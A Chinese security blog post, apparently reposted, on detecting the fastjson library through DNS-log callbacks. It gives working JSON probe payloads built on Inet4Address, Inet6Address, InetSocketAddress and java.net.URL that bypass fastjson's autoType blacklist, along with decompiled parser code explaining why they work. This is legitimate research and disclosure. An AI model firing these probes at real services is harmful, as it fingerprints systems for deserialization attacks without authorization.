0x01 背景
在渗透测试中遇到json数据一般都会测试下有没有反序列化。然而json库有fastjson
,jackson
,gson
等等。怎么判断后端不是fastjson呢?这就需要构造特定的payload了。
昨天翻看fastjson源码时发现了一些可以构造dns解析且没在黑名单当中的类,于是顺手给官方提了下Issue。有趣的是后续的师傅们讨论还挺热闹的,我也在这次讨论中学习了很多。这篇文章算是对那些方法的汇总和原理分析。
0x02 方法一:利用java.net.Inet[4|6]Address
很早之前有一个方法是使用java.net.InetAddress
类,但是这个在1.2.49就被禁止了。然而在昨天在翻阅fastjson最新版源码(v1.2.67
)是发现两个类的类没有在黑名单中,于是可以构造了如下payload,即可使fastjson进行DNS解析。
1 2
| {"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"}
|
我们知道在fastjson在反序列化之前都会调用checkAutoType
方法对类进行检查。通过调试发现,由于Inet4Address.class不在黑名单中,所以就算开启autoType也是能过1处的检查。
Fastjson的ParserConfig类自己维护了一个IdentityHashMap
,在这个HashMap中的类会被认为是安全的。在2
处可以在IdentityHashMap中获取到java.net.Inet4Address
,所以clazz
不为null
,导致在3
处就返回了。跳过了后续的未开启AutoType
的黑名单检查。所以可以发现无论AutoType
是否开启,都可以过checkAutoType
的检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { ... Class clazz;
if (!internalWhite && (this.autoTypeSupport || expectClassFlag)) { hash = h3;
for(mask = 3; mask < className.length(); ++mask) { hash ^= (long)className.charAt(mask); hash *= 1099511628211L; .... if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null && Arrays.binarySearch(this.acceptHashCodes, fullHash) < 0) { throw new JSONException("autoType is not support. " + typeName); } } }
clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null) { clazz = this.deserializers.findClass(typeName); }
if (clazz == null) { clazz = (Class)this.typeMapping.get(typeName); }
if (internalWhite) { clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, true); }
if (clazz != null) { if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } else { return clazz; } } else { if (!this.autoTypeSupport) { hash = h3;
for(mask = 3; mask < className.length(); ++mask) { char c = className.charAt(mask); hash ^= (long)c; hash *= 1099511628211L; if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0) { throw new JSONException("autoType is not support. " + typeName); } ... } } } ... }
|
fastjason对于Inet4Address
类会使用MiscCodec
这个ObjectDeserializer
来反序列化。我们跟进发现解析器会取出val字段的值复制给strVal变量,由于我们的类是Inet4Address,所以代码会执行到1处,进行域名解析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) { ... if (strVal != null && strVal.length() != 0) { if (clazz == UUID.class) { ... } else if (clazz == URI.class) { ... } else if (clazz == URL.class) { ... } else if (clazz == Pattern.class) { ... } else if (clazz == Locale.class) { ... } else if (clazz == SimpleDateFormat.class) { ... } else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) { ... } else { try { return InetAddress.getByName(strVal); } catch (UnknownHostException var11) { throw new JSONException("deserialize inet adress error", var11); } } } else { return null; } }
|
0x03 方法二:利用java.net.InetSocketAddress
java.net.InetSocketAddress
类也在IdentityHashMap
中,和上面一样无视checkAutoType
检查。
通过它要走到InetAddress.getByName()
流程相比方法一是要绕一些路的。刚开始一直没构造出来,后来在和实验室的背影师傅交流时,才知道可以顺着解析器规则构造(它要啥就给它啥
),最终payload如下,当然它是畸形的json。
1
| {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
|
那这个是怎样构造出来的呢?需要你去简单了解下fastjson的词法解析器,这里就不展开了。这里尤为关键的是解析器token
值对应的含义,可以在com.alibaba.fastjson.parser.JSONToken
类中看到它们。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| public class JSONToken { ... public static String name(int value) { switch(value) { case 1: return "error"; case 2: return "int"; case 3: return "float"; case 4: return "string"; case 5: return "iso8601"; case 6: return "true"; case 7: return "false"; case 8: return "null"; case 9: return "new"; case 10: return "("; case 11: return ")"; case 12: return "{"; case 13: return "}"; case 14: return "["; case 15: return "]"; case 16: return ","; case 17: return ":"; case 18: return "ident"; case 19: return "fieldName"; case 20: return "EOF"; case 21: return "Set"; case 22: return "TreeSet"; case 23: return "undefined"; case 24: return ";"; case 25: return "."; case 26: return "hex"; default: return "Unknown"; } } }
|
构造这个payload需要分两步,第一步我们需要让代码执行到1处,这一路解析器要接收的字符在代码已经标好。按照顺序写就是{"@type":"java.net.InetSocketAddress"{"address":
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) { JSONLexer lexer = parser.lexer; String className; if (clazz == InetSocketAddress.class) { if (lexer.token() == 8) { lexer.nextToken(); return null; } else { parser.accept(12); InetAddress address = null; int port = 0;
while(true) { className = lexer.stringVal(); lexer.nextToken(17); if (className.equals("address")) { parser.accept(17); address = (InetAddress)parser.parseObject(InetAddress.class); } ... } } } ... }
|
parser.parseObject(InetAddress.class)
最终依然会,调用MiscCodec#deserialze()
方法来序列化,这里就来到我们构造payload的第二步。这一步的目标是要让解析器走到InetAddress.getByName(strVal)
。解析器要接受的字符在代码里标好了,按照顺序写就是,"val":"http://dnslog"}
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) { JSONLexer lexer = parser.lexer; String className; if (clazz == InetSocketAddress.class) { ... } else { Object objVal; if (parser.resolveStatus == 2) { parser.resolveStatus = 0; parser.accept(16); if (lexer.token() != 4) { throw new JSONException("syntax error"); } if (!"val".equals(lexer.stringVal())) { throw new JSONException("syntax error"); }
lexer.nextToken(); parser.accept(17); objVal = parser.parse(); parser.accept(13); } .... strVal = (String)objVal; if (strVal != null && strVal.length() != 0) { if (clazz == UUID.class) { ... } else if (clazz == URI.class) { ... } else if (clazz == URL.class) { ... } else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) { ... } else { try { return InetAddress.getByName(strVal); } catch (UnknownHostException var11) { throw new JSONException("deserialize inet adress error", var11); } } } }
|
两段合起来就得到了最终的payload。
0x04 方法三:利用java.net.URL
java.net.URL
类也在IdentityHashMap
中,和上面一样无视checkAutoType
检查。
1
| {{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
|
来源于@retanoj
和@threedr3am
两位师傅的启发,其原理和ysoserial中的URLDNS
这个gadget原理一样。
简单来说就是向HashMap压入一个键值对时,HashMap需要获取key对象的hashcode。当key对象是一个URL对象时,在获取它的hashcode
期间会调用getHostAddress
方法获取host,这个过程域名会被解析。
fastjson解析上述payload时,先反序列化出URL(http://dnslog)
对象,然后将{URL(http://dnslog):"x"}
解析为一个HashMap,域名被解析。
@retanoj
在Issue中还构造了好几个畸形的payload,虽然实原理都是一样的,但还是挺意思的。感受到了师傅对fastjson词法解析器透彻的理解。
1 2 3 4
| {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""} Set[{"@type":"java.net.URL","val":"http://dnslog"}] Set[{"@type":"java.net.URL","val":"http://dnslog"} {{"@type":"java.net.URL","val":"http://dnslog"}:0
|
0x05 留一个问题
最后留个问题吧,我们都知道一般影响fastjson的gadget也会影响jackson。那么我们上面构造的payload,使用相同的原理能在jackson实现么?如果能,又该怎么构造呢?欢迎在blog留言区分享你的思考。
0x06 参考文献
文章来源: http://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/
如有侵权请联系:admin#unsafe.sh